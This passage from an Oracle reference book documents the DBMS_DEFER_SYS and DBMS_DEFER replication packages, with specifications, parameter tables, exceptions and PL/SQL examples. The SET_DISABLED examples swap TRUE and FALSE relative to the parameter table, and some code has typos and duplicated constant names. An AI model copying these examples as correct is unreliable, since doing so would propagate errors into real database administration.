    destination      IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
deferred_tran_id | ID from DEFTRAN data dictionary view of transaction to be deleted from DEFERROR. If NULL, all entries for the specified deferred_tran_db and destination are deleted.
deferred_tran_db | Global name of the originating database. If NULL, all entries for the specified deferred_tran_id and destination are deleted.
destination | Global name of the destination database. If NULL, all entries for the specified deferred_tran_id and deferred_tran_db are deleted.

There are no restrictions on calling DELETE_TRAN.

17.2.4.2.1 Exceptions

The DELETE_TRAN procedure may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -1403 | Specified deferred_tran_id does not exist, specified deferred_tran_db does not exist, and/or specified destination does not exist

17.2.4.3 The DBMS_DEFER_SYS.DISABLED function

The DISABLED function returns the BOOLEAN value TRUE if the deferred RPC calls to the specified destination have been disabled (with SET_DISABLED), and returns FALSE otherwise. The specification is,

FUNCTION DBMS_DEFER_SYS.DISABLED
   (destination IN VARCHAR2) RETURN BOOLEAN;

where destination is the global name of the destination database.

There are no restrictions on calling the DISABLED function.

17.2.4.3.1 Exceptions

The DISABLED function may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -1403 | Specified destination is not in the DEFSCHEDULE data dictionary view

17.2.4.4 The DBMS_DEFER_SYS.EXECUTE_ERROR procedure

The EXECUTE_ERROR procedure forces execution of a transaction that originally failed, leaving a record in DEFERROR. You might call this procedure if you have repaired the error (for example, a conflict in the advanced replication option) and you now wish to re-attempt the transaction. If another error occurs during EXECUTE_ERROR, the attempt is aborted and the last error encountered is returned as an exception. Upon successful completion, the procedure deletes the entries from the DEFERROR data dictionary view. If the original call has been applied to all other destinations, then the procedure also removes the entries from DEFCALL and DEFTRAN.

As with the DELETE_ERROR and DELETE_TRAN procedures, you may pass NULLs to indicate wildcards.

Here is the specification for this procedure:

PROCEDURE DBMS_DEFER_SYS.EXECUTE_ERROR
   (deferred_tran_id IN VARCHAR2,
    deferred_tran_db IN VARCHAR2,
    destination      IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
deferred_tran_id | ID of transaction in DEFERROR data dictionary view
deferred_tran_db | Global name of database that originated or copied the transaction originally
destination | Global name of destination database

17.2.4.4.1 Exceptions

EXECUTE_ERROR may raise the following exception:

Name | Number | Description
None | -24275 | Destination is null, or deferred_tran_id and deferred_tran_db are neither both NULL nor both NOT NULL

If execution stops because of an exception, the EXECUTE_ERROR procedure raises the last exception encountered.

17.2.4.4.2 Restrictions

Note the following restrictions on calling EXECUTE_ERROR:

  • The destination parameter may not be NULL.

  • The deferred_tran_id and deferred_tran_db parameters must either both be NULL or both be NOT NULL. If they are NULL, all transactions in DEFERROR destined for destination are applied.

17.2.4.4.3 Example

For an example, see the fixdefer.sql file on the companion disk. The example lists all deferred transactions that have encountered errors, and generates calls to DBMS_DEFER_SYS.EXECUTE_ERROR to reexecute the calls.

17.2.4.5 The DBMS_DEFER_SYS.SET_DISABLED procedure

The SET_DISABLED procedure disables or enables propagation to the specified destination. If you are managing a replicated environment, you might want to disable propagation to a given site while you perform maintenance.

NOTE: If you disable propagation while RPCs are being delivered to the destination database, the delivery will be allowed to complete.

The specification follows:

PROCEDURE DBMS_DEFER_SYS.SET_DISABLED
   (destination IN VARCHAR2,
    disabled IN BOOLEAN := TRUE);

Parameters are summarized in the following table.

Name | Description
destination | Global name of the destination database
disabled | Flag indicating whether calls are to be disabled (TRUE) or enabled (FALSE)

17.2.4.5.1 Exceptions

The SET_DISABLED procedure may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -1403 | Specified destination is not in the DEFSCHEDULE data dictionary view

17.2.4.5.2 Restrictions

You must execute a COMMIT after a call to the SET_DISABLED procedure for the changes to take effect.

17.2.4.5.3 Example

The following example disables propagation of deferred RPCs to D7NY.BIGWHEEL.COM:

    BEGIN
        DBMS_DEFER_SYS.SET_DISABLED('D7NY.BIGWHEEL.COM', FALSE);
    END

The following example enables propagation:

    BEGIN
        DBMS_DEFER_SYS.SET_DISABLED('D7NY.BIGWHEEL.COM', TRUE);
     END;

17.2.5 Propagating Deferred RPCs

The DBMS_DEFER.CALL procedure, which we'll discuss later in this chapter, neither executes nor pushes transactions to the destination databases: it simply queues them. In order to propagate the deferred call to the destinations and to execute it there, you must use the DBMS_DEFER_SYS package's EXECUTE procedure. Use SCHEDULE_EXECUTION to schedule execution at prescribed intervals, and UNSCHEDULE_EXECUTION to stop propagation.

NOTE: We describe the EXECUTE, SCHEDULE_EXECUTION, and UNSCHEDULE_EXECUTION procedures here because they are a part of the DBMS_DEFER_SYS package. However, because the discussion assumes knowledge of the DBMS_DEFER.CALL procedure (and related procedures), you may find these sections more understandable if you first read the subsequent DBMS_DEFER package section.

17.2.5.1 Scheduling strategies

The granularity of the DBMS_JOB facility is one second, so you could schedule propagation of your deferred RPC calls for once per second if you wanted to. However, such an aggressive schedule is not advisable. In fact, scheduling propagation to occur more often than once every five minutes is rarely wise. Of course, your ideal schedule is a function of your application, business requirements, and resources. Nevertheless, a lengthy interval is seldom justifiable. Why the restrictions?

Efficiency

You don't go to the grocery store every time you need a particular item; you add items to a list and wait until you've accumulated a list that justifies the trip to the store. Shopping in this way uses less of your time and resources. Similarly, it is far more efficient to accumulate transactions in the DEFTRAN queue, and to propagate several to a given destination than it is to check the queue frequently and/or make several calls to the remote database to deliver only one or two transactions. You should be sure, however, that the time it takes to deliver n transactions does not exceed the time it takes for n transactions to accumulate.

Redo volume

Whenever an SNP background process wakes up to check the job queue for work to do, Oracle updates the table SYS.JOB$ to reflect the fact that the queue has been checked. This update, as with all updates, generates redo log entries. We have found that scheduling a job that does nothing to run once per minute generates more than one megabyte of redo per hour. Do not incur the overhead of these redo log entries unnecessarily.

Resources

If you schedule a job to run once per minute, you must also set the INIT.ORA parameter JOB_QUEUE_INTERVAL to 60 seconds or less, because the job can run only as frequently as the background processes wake up to check them. However, just as redo activity increases, so does CPU utilization for the SNP background processes that check the job queue.

In short, you should avoid the temptation to schedule deferred transactions to be propagated on a subminute interval unless your application truly requires it. Five-minute intervals are the shortest that Oracle Corporation recommends.

17.2.5.2 The DBMS_DEFER_SYS.EXECUTE procedure

The EXECUTE procedure propagates a deferred call to the destination database and executes it there. Here is the specification:

PROCEDURE DBMS_DEFER_SYS.EXECUTE
   (destination IN VARCHAR2,
    stop_on_error IN BOOLEAN := FALSE,
    transaction_count IN BINARY_INTEGER := 0,
    execution_seconds IN BINARY_INTEGER := 0,
    execute_as_user IN BOOLEAN := FALSE,
    delay_seconds IN NATURAL := 0,
    batch_size IN NATURAL := 0);

Parameters are summarized in the following table.

Name

Description

destination

Global name of the destination database.

stop_on_error

If TRUE, execution of queued transactions stops if an error is encountered. If FALSE (the default), execution continues unless destination is unavailable.

transaction_count

If > 0, maximum number of transactions to execute.

execution_seconds

If > 0, maximum number of seconds to spend executing transactions.

execute_as_user

IF TRUE, the execution of deferred transactions is authenticated at the remote system using the authentication context of the session user. If FALSE (the default), the execution is authenticated at the remote system using the authentication contexts of the users that originally queued the deferred transactions (indicated in the origin_user column of the DEFTRAN data dictionary view).

This parameter is obsolete in Oracle8, which executes transactions under the context of the propagator.

delay_seconds

If > 0, routine sleeps for this many seconds before resuming when there are no more transactions to push to destination.

batch_size

The number of deferred transactions executed before committing. If batch_size = 0, a commit occurs after each deferred transaction. If batch_size > 0, a commit occurs when the total number of deferred calls executed exceeds batch_size and a complete transaction has been executed.

There are no restrictions on calling the EXECUTE procedure.

17.2.5.2.1 Exceptions

If execution stops because of an exception, the EXECUTE procedure raises the last exception encountered.

17.2.5.2.2 Examples

Although the EXECUTE procedure includes several parameters, you can use it in its simplest form to push all queued transactions to a given destination. For example, to send the transaction that was queued to D7TX.BIGWHEEL.COM in the example of DBMS_DEFER.TRANSACTION, we would simply make this call:

    BEGIN
        DBMS_DEFER_SYS.EXECUTE('D7TX.BIGWHEEL.COM');
    END;

This call propagates and executes all deferred RPCs bound for D7TX.BIGWHEEL.COM.

The EXECUTE procedure includes various optional parameters (described in the next section) to accommodate applications that may queue tens or hundreds or thousands of deferred RPC calls. The advanced replication option has this potential. (In such cases, you may need to control the rate and volume of transactions, privilege domains, and error handling.)

17.2.5.2.3 Advanced usage: using the EXECUTE parameters

The items in the following list describe in greater detail how you use the EXECUTE parameters:

NOTE: If you are queuing a relatively low volume of deferred RPC calls, these additional parameters controlling the volume and timing of deliveries are not especially relevant. They are provided for fine-tuning the behavior and performance of automatically scheduled RPCs, such as those associated with the advanced replication option.

stop_on_error

Setting the Boolean parameter stop_on_error to FALSE (the default) causes Oracle to continue propagating and executing deferred RPC calls at a destination even if one or more of the calls encounters an error. Setting this parameter to TRUE causes execution of deferred RPCs to stop if an error occurs.

transaction_count and execution_seconds

These two parameters are usually used in tandem. They cause propagation of RPCs to the destination to cease after transaction_count transactions or execution_seconds seconds, whichever comes first. These parameters provide a method of throttling the time and resources that are consumed during any one call to the EXECUTE procedure. Since these settings may cause the propagation to stop before all deferred RPCs are sent, it is your responsibility to monitor the DEFTRANDEST data dictionary view and/or to schedule automatic propagation at intervals. The default for both of these parameters is 0, which means that no such limits are set.

execute_as_user

This parameter determines the privilege domain under which the procedure call executes at the destination. Setting execute_as_user to FALSE (the default) causes the call to execute under the privilege domain of the user who queued the call originally, as seen in the ORIGIN_USER column of the DEFTRAN data dictionary view. Setting the parameter to TRUE executes the call under the privilege domain of the session that calls the EXECUTE procedure. The user in execute_as_user refers to the user calling EXECUTE, not the user who queued the call.

delay_seconds

This parameter causes EXECUTE to sleep for delay_seconds seconds before returning when it finishes propagating the queued transactions to the destination. The primary purpose of this parameter is to delay the next call to EXECUTE; the idea is that more transactions will have a chance to accumulate. It is more efficient to propagate five deferred RPCs with one call to EXECUTE than to issue five separate calls. This parameter is relevant only if you have scheduled automatic propagation.

batch_size

This parameter is the number of deferred calls to execute between COMMITs. The default is 0, which means that a commit should occur for each deferred call that is propagated.

17.2.5.3 The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure

If you are using the advanced replication option, or if your application queues deferred RPC calls on a continual basis, then you should schedule the calls to the DBMS_DEFER_SYS.EXECUTE procedure at prescribed intervals for each destination. The SCHEDULE_EXECUTION procedure does just that by placing calls to the EXECUTE procedure in the job queue. Here is the specification:

PROCEDURE DBMS_DEFER_SYS.SCHEDULE EXECUTION
   (dblink IN VARCHAR2,
    interval IN VARCHAR2,
    next_date IN DATE,
    reset IN BOOLEAN default FALSE,
    stop_on_error IN BOOLEAN := NULL,
    transaction_count IN BINARY_INTEGER := NULL,
    execution_seconds IN BINARY_INTEGER := NULL,
    execute_as_user IN BOOLEAN := NULL,
    delay_seconds IN NATURAL := NULL,
    batch_size IN NATURAL := NULL);

Parameters are summarized in the following table.

Name | Description
db_link | Global name of the destination database
interval | Frequency with which to execute the RPC
next_date | First time to execute transactions queued for db_link
reset | If TRUE, then last_txn_count, last_error, and last_msg are nulled in DEFSCHEDULE data dictionary view for this db_link
stop_on_error | If not NULL, value is used by the call to EXECUTE
transaction_count | If not NULL, value is used by the call to EXECUTE
execution_seconds | If not NULL, value is used by the call to EXECUTE
execute_as_user | If not NULL, value is used by the call to DBMS_DEFER_SYS.EXECUTE (obsolete in Oracle8)
delay_seconds | If not NULL, value is used by the call to EXECUTE
batch_size | If not NULL, value is used by the call to EXECUTE

This procedure looks like a cross between DBMS_JOB.SUBMIT and DBMS_DEFER.EXECUTE, because it is. The interval and next_date parameters behave in exactly the same way as the parameters by the same names passed to DBMS_JOB.SUBMIT; the parameters stop_on_error, transaction_count, execution_seconds, execute_as_user, delay_seconds, and batch_size are passed directly to the DBMS_DEFER_SYS.EXECUTE call that is put in the job queue (dblink is passed to the destination). Setting the reset parameter to TRUE sets columns LAST_TXN_COUNT, LAST_ERROR, and LAST_MSG to NULL in the DEFSCHEDULE data dictionary view.

The SCHEDULE_EXECUTION procedure does not raise any exceptions, nor are there any restrictions on calling this procedure.

17.2.5.3.1 Example

The following example shows how to schedule automatic propagation of deferred RPC calls to D7WA.BIGWHEEL.COM. These calls will be propagated every 15 minutes, starting at midnight tonight.

BEGIN
DBMS_DEFER_SYS.SCHEDULE_EXECUTION( -
    db_link 	=> 'D7WA.BIGWHEEL.COM', -
    interval	=> 'SYSDATE + 15/1440', -    /* 1440 minutes in a day*/
    next_date	=> TRUNC(SYSDATE + 1), -
    reset		=> TRUE);
END;
/

For additional examples, see the defsched.sql and jobs.sql files on the companion disk. The defsched.sql example lists RPCs that have been scheduled with DBMS_DEFER_SYS.SCHEDULE_EXECUTION, including last and next execution times in hours, minutes, and seconds. The jobs.sql example lists all jobs in the job queue, including last and next execution times in hours, minutes, and seconds, aslong with the package call that is being executed.

17.2.5.4 The DBMS_DEFER_SYS.UNSCHEDULE_EXECUTION procedure

When you need to stop the propagation of deferred calls to a given destination, you can do so with the UNSCHEDULE_EXECUTION procedure. The specification is,

PROCEDURE DBMS_DEFER_SYS.UNSCHEDULE_EXECUTION
    (dblink IN VARCHAR2);

where dblink is the global name of the destination database.

Calling this procedure is analogous to calling DBMS_JOB.REMOVE to remove the job that DBMS_DEFER_SYS.SCHEDULE_EXECUTION scheduled. The job is removed from the queue, and automatic propagation to the database specified by dblink ceases.

There are no restrictions on calling UNSCHEDULE_EXECUTION.

17.2.5.4.1 Exceptions

The UNSCHEDULE_EXECUTION procedure may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -01403 | Specified destination is not in the DEFSCHEDULE data dictionary view

17.2.6 Scheduling Propagation (Oracle8 only)

Oracle8 uses a slightly different mechanism to propagate transactions to remote databases. Instead of deleting transactions from the local queue as soon as they are delivered to a remote site, Oracle purges the queue as a separate process. This strategy enhances performance because there is no need for a two-phase commit when transactions are propagated. In addition, Oracle8 includes support for parallel propagation, which means that multiple transactions can be delivered to the destinations simultaneously if they are not dependent on each other.

NOTE: The Oracle8 documentation refers to scheduled propagation as "scheduled links."

Here are the DBMS_DEFER_SYS programs that support propagation in Oracle8 are:

DBMS_DEFER_SYS.EXCLUDE_PUSH
DBMS_DEFER_SYS.PURGE
DBMS_DEFER_SYS.PUSH
DBMS_DEFER_SYS.REGISTER_PROPAGATOR
DBMS_DEFER_SYS.SCHEDULE_PURGE
DBMS_DEFER_SYS.SCHEDULE_PUSH
DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR
DBMS_DEFER_SYS.UNSCHEDULE_PURGE
DBMS_DEFER_SYS.UNSCHEDULE_PUSH

17.2.6.1 The DBMS_DEFER_SYS.EXCLUDE_PUSH function (Oracle8 only)

The EXCLUDE_PUSH function acquires a lock to disable deferred pushes. The specification is,

FUNCTION DBMS_DEFER_SYS.EXCLUDE_PUSH
   (timeout IN INTEGER) RETURN INTEGER;

where timeout is the time to wait to acquire a lock that disables pushes. Specify DBMS_LOCK.MAXWAIT to wait indefinitely.

The EXCLUDE_PUSH function may return the values shown in the following table.

Value | Meaning
0 | Normal successful completion
1 | Timed out waiting for lock
2 | Unsuccessful due to deadlock
4 | Lock is already owned

17.2.6.2 The DBMS_DEFER_SYS.PURGE function (Oracle8 only)

The PURGE procedure purges transactions that have been propagated from the deferred transaction queue. Here is the specification:

   FUNCTION DBMS_DEFER_SYS.PURGE(
      purge_method IN BINARY_INTEGER := purge_method_quick,
      rollback_segment IN VARCHAR2 := NULL,
      startup_seconds IN BINARY_INTEGER := 0,
      execution_seconds IN BINARY_INTEGER := seconds_infinity,
      delay_seconds IN BINARY_INTEGER := 0,
      transaction_count IN BINARY_INTEGER := transactions_infinity,
      write_trace IN BOOLEAN := FALSE )
   RETURN BINARY_INTEGER;

Parameters are summarized in the following tables.

Name | Description
purge_method | 1 = purge_method_quick (not necessarily complete, but faster) 2 = purge_method_precise (complete purge)
rollback_segment | Which rollback segment should be used
startup_seconds | Maximum number of seconds to wait for the completion of a previous push to the same destination
delay_seconds | If > 0, routine sleeps for this many seconds before resuming when there are no more transactions to push to destination
transaction_count | Maximum number of transactions to push per execution
write_trace | If TRUE, record result in a trace file

The return values for PURGE are listed in the following table.

Value | Meaning
0 | Normal completion after delay_seconds expired
1 | Terminated by lock timeout while starting
2 | Terminated by exceeding execution_seconds
3 | Terminated by exceeding transaction_count
4 | Terminated at delivery_order_limit
5 | Terminated after errors

17.2.6.2.1 Exceptions

The PURGE function raises the following exceptions:

Name | Number | Description
argoutofrange | -23427 | A parameter value is out of range.
executiondisabled | -23354 | Execution is disabled at destination.
dbms_defererror | -23305 | An internal error occured.

17.2.6.3 The DBMS_DEFER_SYS.PUSH function

The PUSH function pushes a queued transaction to a destination node. Here is the specification:

FUNCTION DBMS_DEFER_SYS.PUSH(
   destination IN VARCHAR2,
   parallelism IN BINARY_INTEGER := 0,
   heap_size IN BINARY_INTEGER := 0,
   stop_on_error IN BOOLEAN := FALSE,
   write_trace IN BOOLEAN := FALSE,
   startup_seconds IN BINARY_INTEGER := 0,
   execution_seconds IN BINARY_INTEGER := seconds_infinity,
   delay_seconds IN BINARY_INTEGER := 0,
   transaction_count IN BINARY_INTEGER := transactions_infinity,
   delivery_order_limit IN NUMBER := delivery_order_infinity )
   RETURN BINARY_INTEGER;

Parameters are summarized in the following table.

Name | Description
destination | Global name of the destination database
parallelism | Degree of parallelism: 0 = serial (no parallelism) 1 = parallel propagation with one slave N = parallel propagation with N slaves
heap_size | If > 0, maximum number of transactions to examine simultaneously for parallel scheduling computation If 0, compute this number based on parallelism parameter
stop_on_error | If TRUE, then stop on the first error, even if not fatal
write_trace | If TRUE, record result in a trace file
startup_seconds | Maximum number of seconds to wait for the completion of a previous push to the same destination
execution_seconds | Maximum number of seconds to spend on the push before shutting down; defaults to seconds_infiinity (i.e., unlimited)
delay_seconds | Shutdown push cleanly if queue is empty for this many seconds
transaction_count | Maximum number of transactions to push per execution
delivery_order_limit | Shut down cleanly before pushing a transaction with delivery_order > delivery_order_limit

Return values for PUSH are listed in the following table.

Value | Meaning
0 | Normal completion after delay_seconds expired
1 | Terminated by lock timeout while starting
2 | Terminated by exceeding execution_seconds
3 | Terminated by exceeding transaction_count
4 | Terminated at delivery_order_limit
5 | Terminated after errors

17.2.6.3.1 Exceptions

PUSH raises the following exceptions:

Name | Number | Description
incompleteparallelpush | -23388 | Internal error
executiondisabled | -23354 | Execution is disabled at destination
crt_err_err | -23324 | Error creating DEFERROR entry
deferred_rpc_quiesce | -23326 | The system is being quiesced
commfailure | -23302 | Communication failure
missingpropagator | -23357 | A propagator does not exist

17.2.6.4 The DBMS_DEFER_SYS.SCHEDULE_PURGE procedure (Oracle8 only)

The SCHEDULE_PURGE procedure schedules the automatic purge of transactions that have been propagated from the queue. Here is the specification:

PROCEDURE DBMS_DEFER_SYS.SCHEDULE_PURGE(
   interval IN VARCHAR2,
   next_date IN DATE,
   reset IN BOOLEAN := FALSE,
   purge_method IN BINARY_INTEGER := NULL,
   rollback_segment IN VARCHAR2 := NULL,
   startup_seconds IN BINARY_INTEGER := NULL,
   execution_seconds IN BINARY_INTEGER := NULL,
   delay_seconds IN BINARY_INTEGER := NULL,
   transaction_count IN BINARY_INTEGER := NULL,
   write_trace IN BOOLEAN := NULL );

Parameters are summarized in the following table.

Name | Description
interval | Frequency with which to execute the call
next_date | First time to execute the purge
reset | If TRUE, last_txn_count, last_error, and last_msg are nulled in DEFSCHEDULE data dictionary view
purge_method | 1 = purge_method_quick (not necessarily complete, but faster) 2 = purge_method_precise (complete purge)
rollback_segment | Which rollback segment should be used
startup_seconds | Maximum number of seconds to wait for the completion of a previous push to the same destination
execution_seconds | Maximum number of seconds to spend on the push before shutting down; defaults to seconds_infiinity (i.e., unlimited)
delay_seconds | If > 0, routine sleeps for this many seconds before resuming when there are no more transactions to push to destination
transaction_count | Maximum number of transactions to push per execution
write_trace | If TRUE, record result in a trace file

17.2.6.5 The DBMS_DEFER_SYS.SCHEDULE_PUSH procedure (Oracle8 only)

The SCHEDULE_PUSH procedure schedules automatic pushes to the destination node. Here is the specification:

PROCEDURE DBMS_DEFER_SYS.SCHEDULE_PUSH(
   destination IN VARCHAR2,
   interval IN VARCHAR2,
   next_date IN DATE,
   reset IN BOOLEAN := FALSE,
   parallelism IN BINARY_INTEGER := NULL,
   heap_size IN BINARY_INTEGER := NULL,
   stop_on_error IN BOOLEAN := NULL,
   write_trace IN BOOLEAN := NULL,
   startup_seconds IN BINARY_INTEGER := NULL,
   execution_seconds IN BINARY_INTEGER := NULL,
   delay_seconds IN BINARY_INTEGER := NULL,
   transaction_count IN BINARY_INTEGER := NULL );

Parameters are summarized in the following table.

Name | Description
destination | Global name of the destination database
interval | Frequency with which to execute the call
next_date | First time to push transactions queued for destination
reset | If TRUE, last_txn_count, last_error, and last_msg are nulled in DEFSCHEDULE data dictionary view for this destination
parallelism | Degree of parallelism: 0 = serial (no parallelism) 1 = parallel propagation with one slave N = parallel propagation with N slaves.
heap_size | If > 0, maximum number of transactions to examine simultaneously for parallel scheduling computation; if 0, compute this number based on parallelism parameter
stop_on_error | If TRUE, stop on the first error, even if not fatal
write_trace | If TRUE, record result in a trace file
startup_seconds | Maximum number of seconds to wait for the completion of a previous push to the same destination
execution_seconds | Maximum number of seconds to spend on the push before shutting down.; defaults to seconds_infiinity (i.e., unlimited)
delay_seconds | If > 0, routine sleeps for this many seconds before resuming when there are no more transactions to push to destination
transaction_count | Maximum number of transactions to push per execution

17.2.6.6 The DBMS_DEFER_SYS.UNSCHEDULE_PURGE procedure (Oracle8 only)

The UNSCHEDULE_PURGE procedure is the complement to the SCHEDULE_PURGE procedure. This procedure unschedules the automatic purge of transactions that have been propagated to the queue. The specification is simply:

PROCEDURE DBMS_DEFER_SYS.UNSCHEDULE_PURGE;

17.2.6.7 The DBMS_DEFER_SYS.UNSCHEDULE_PUSH procedure (Oracle8 only)

The UNSCHEDULE_PUSH procedure is the complement to the SCHEDULE_PUSH procedure. This procedure unschedules automatic pushes to the destination node. The specification is,

PROCEDURE DBMS_DEFER_SYS.UNSCHEDULE_PUSH(dblink IN VARCHAR2);

where dblink is the global name of the database to which pushes are to be unscheduled.

17.2.6.7.1 Exceptions

UNSCHEDULE_PUSH raises the following exception:

Name | Number | Description
NO_DATA_FOUND | -100 | No pushes to dblink exist

17.2.6.8 The DBMS_DEFER_SYS.REGISTER_PROPAGATOR procedure (Oracle8 only)

The REGISTER_PROPAGATOR procedure makes a designated user the propagator for the local database. The specification is,

PROCEDURE DBMS_DEFER_SYS.REGISTER_PROPAGATOR
   (username IN VARCHAR2);

where username is the name of the account to which privileges are to be granted.

17.2.6.8.1 Exceptions

REGISTER_PROPAGATOR raises the following exceptions:

Name | Number | Description
missinguser | -23362 | User username does not exist
alreadypropagator | -23393 | User username is already the propagator for this database
duplicatepropagator | -23394 | Database already has a propagator account

17.2.6.9 The DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR procedure (Oracle8 only)

The UNREGISTER_PROPAGATOR procedure revokes the privileges granted to make a particular user the local database propagator. The specification follows:

PROCEDURE DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR
   (username IN VARCHAR2,
    timeout  IN INTEGER  DEFAULT dbms_lock.maxwait);

Parameters are summarized in the following table.

Name | Description
username | Name of the account to which privileges are to be revoked
timeout | Number of seconds to wait if the propagator account is in use when the call to UNREGISTER_PROPAGATOR is made

17.2.6.9.1 Exceptions

UNREGISTER_PROPAGATOR raises the following exceptions:

Name | Number | Description
missingpropagator | -23357 | User username is not a propagator
propagator_inuse | -23418 | The propagator account is in use, and timeout seconds have elapsed

TIP: We recommend using the same username as the propagator at all database sites. Also, make sure that the account is the same as the replication administrator (REPADMIN) account.

Previous: 17.1 About Deferred Transactions and RPCs | Oracle Built-in Packages | Next: 17.3 DBMS_DEFER: Building Deferred Calls
17.1 About Deferred Transactions and RPCs | Book Index | 17.3 DBMS_DEFER: Building Deferred Calls
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.3 DBMS_DEFER: Building Deferred Calls

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

17.3 DBMS_DEFER: Building Deferred Calls

The DBMS_DEFER package builds deferred remote procedure calls.

WARNING: DBMS_DEFER can execute procedures at remote sites under a highly privileged account, such as the replication administrator account. Therefore, EXECUTE privileges on DBMS_DEFER should not be widely granted. As a general rule, you should restrict it to DBA accounts. If you want to provide end users with the ability to create their own deferred calls, you should create a cover package and grant EXECUTE on it to end users or end user roles.

17.3.1 Getting Started with DBMS_DEFER

The DBMS_DEFER package is created when the Oracle database is installed. The dbmsdefr.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The script creates the public synonym DBMS_DEFER. EXECUTE privileges on DBMS_DEFER are not granted. The following procedures grant EXECUTE privilege on DBMS_DEFER to the specified grantees:

DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT
DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP
DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPSCHEMA
DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP
DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPSCHEMA
DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP

17.3.1.1 DBMS_DEFER programs

Table 17.11 lists the programs available in the DBMS_DEFER package.

Table 17.11: DBMS_DEFER Programs
Name | Description | Use in SQL?
CALL | Defines a remote procedure call | No
COMMIT_WORK | Commits deferred RPC transaction | No
<datatype>_ARG | Adds parameter of specified datatype to a deferred call; <datatype> may be CHAR, DATE, NUMBER, RAW, ROWID, or VARCHAR2 | No
TRANSACTION | Marks a transaction as deferred | No

17.3.1.2 DBMS_DEFER exceptions

The DBMS_DEFER package may raise any of the exceptions listed in Table 17.12.

Table 17.12: DBMS_DEFER Exceptions
Name | Number | Description
bad_param_type | -23325 | Parameter type does not match actual type
deferred_rpc_quiesce | -23326 | Database is quiescing
dbms_defererror | -23305 | Generic internal errors
malformedcall | -23304 | Argument count mismatches, etc.
updateconflict | -23303 | Remote update failed due to conflict
commfailure | -23302 | Remote update failed due to communication failure
mixeddest | -23301 | Destinations for transaction not specified consistently
parameterlength | -23323 | Parameter length exceeds limits (2000 for CHAR/VARCHAR, 255 for RAW)
executiondisabled | -23354 | Deferred RPC execution is disabled

17.3.1.3 DBMS_DEFER nonprogram elements

Table 17.13 lists the constants and other nonprogram elements defined in the DBMS_DEFER package. The DBMS_DEFER.NODE_LIST_T element is a PL/SQL table whose first entry is always placed in row 1. It is filled sequentially, with each subsequent entry placed in row DBMS_DEFER.NODE_LIST_T.LAST + 1.

Table 17.13: DBMS_DEFER Other Elements
Type/Name | Description
CONSTANT arg_csetid_none (Oracle8) | Internal Character Set ID. Value = 0. Includes types DATE, NUMBER, ROWID, RAW, and BLOB.
CONSTANT arg_form_none (Oracle8) | Internal Character Set ID. Value = 0. Includes types DATE, NUMBER, ROWID, RAW, and BLOB.
CONSTANT arg_form_implicit (Oracle8) | Internal Character Set ID. Value = 1. Includes types CHAR, VARCHAR2, and CLOB.
CONSTANT arg_form_nchar (Oracle8) | Internal Character Set ID. Value = 2. Includes types NCHAR, NVARCHAR2, and NCLOB.
CONSTANT arg_form_any (Oracle8) | Internal Character Set ID. Value = 4.
CONSTANT arg_type_num | Used in arg_type column of def$_args table. Value = 2.
CONSTANT arg_type_char | Used in arg_type column of def$_args table. Value = 96.
CONSTANT arg_type_varchar2 | Used in arg_type column of def$_args table. Value = 1.
CONSTANT arg_type_date | Used in arg_type column of def$_args table. Value = 12.
CONSTANT arg_type_rowid | Used in arg_type column of def$_args table. Value = 11.
CONSTANT arg_type_raw | Used in arg_type column of def$_args table. Value = 23.
CONSTANT arg_type_blob (Oracle8) | Used in arg_type column of def$_args table. Value = 113.
CONSTANT arg_type_blob (Oracle8) | Used in arg_type column of def$_args table. Value = 112.
CONSTANT arg_type_blob (Oracle8) | Used in arg_type column of def$_args table. Value = 114.
CONSTANT arg_type_blob (Oracle8) | Used in arg_type column of def$_args table. Value = 115.
CONSTANT repcat_status_normal | Signals normal successful completion. Value = 0.0.
TYPE node_list_t | Table of VARCHAR2(128).

17.3.2 Basic RPCs

The simplest RPC calls use default destinations and take no parameters. The basic procedure for building a parameterless deferred transaction or a deferred remote procedure call is to follow these steps:

  1. Call DBMS_DEFER.TRANSACTION (optional).

  2. Make one or more calls to DBMS_DEFER.CALL.

  3. Issue a COMMIT with DBMS_DEFER.COMMIT_WORK.

The following sections describe in some detail how these procedures work. Later sections describe more complex RPC calls.

17.3.2.1 The DBMS_DEFER.TRANSACTION procedure

The TRANSACTION procedure allows you to specify destination sites for the ensuing call(s) to the DBMS_DEFER.CALL procedure. There are two main reasons why you might wish to identify destinations this way:

  • You might wish to override the destinations in the DBA_REPSITES data dictionary view.

  • You might be making several calls to DBMS_DEFER.CALL and not wish to specify the destinations in the nodes parameter individually each time.

The TRANSACTION procedure is overloaded such that the nodes parameter is optional. You can specify either,

PROCEDURE DBMS_DEFER.TRANSACTION;

or:

PROCEDURE DBMS_DEFER.TRANSACTION
   (nodes IN node_list_t);

If specified, nodes is a PL/SQL table containing the list of nodes that should receive the RPC call. If you do not specify the nodes parameter, the ensuing call(s) to DBMS_DEFER.CALL will queue the calls to destinations in DEFDEFAULTDEST. If you do specify the nodes parameter, you must populate it with the global name of target destinations.

17.3.2.1.1 Exceptions

DBMS_DEFER.TRANSACTION may raise the following exceptions:

Name | Number | Description
malformedcall | -23304 | Transaction is not properly formed, or transaction terminated
ORA-23319 | -23319 | Parameter value is not appropriate
